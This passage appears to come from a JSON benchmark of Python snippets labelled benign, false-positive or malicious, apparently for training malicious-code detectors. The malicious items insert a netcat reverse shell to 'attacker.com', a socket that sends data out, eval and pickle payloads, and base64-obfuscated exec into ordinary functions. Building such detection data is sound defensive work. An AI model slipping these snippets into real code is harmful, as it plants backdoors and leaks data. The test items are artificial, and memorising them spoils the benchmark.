\"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_458e591e", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f0b0da64", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_9c2b9aa0", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_30531a69", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c75fbd4f", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_e69f389d", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_74e135c3", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e984f940", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8e89dacb", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_a5f51ed8", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e328ef8a", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_d470e495", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9c9f7cb2", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_78096584", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_33f8ece6", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_3be649cd", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_45555532", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_80d7de3b", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_a911eaee", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8c7d2286", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_66d79ed7", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_e2f5e64e", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5303888c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_7584774b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3131fe2a", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8cabebb5", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_45a7cebc", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_bd87cb93", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3369bfd9", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b4b4fc74", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_5b59c7d1", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c1e50d8e", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_8752f911", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_25a9d297", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_f6d9ebf0", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4c007d6d", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_d5dee23a", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_c113336b", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8a3b756e", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_e8ace27b", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_4339d8a2", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b8fe5ee9", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b39dc309", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_fff64b27", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_854ff664", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_d8336cc2", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_4daa3d34", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_c876885a", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_2343858f", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_78163f56", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9a020c8c", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef caesar_cipher(text, shift):\n 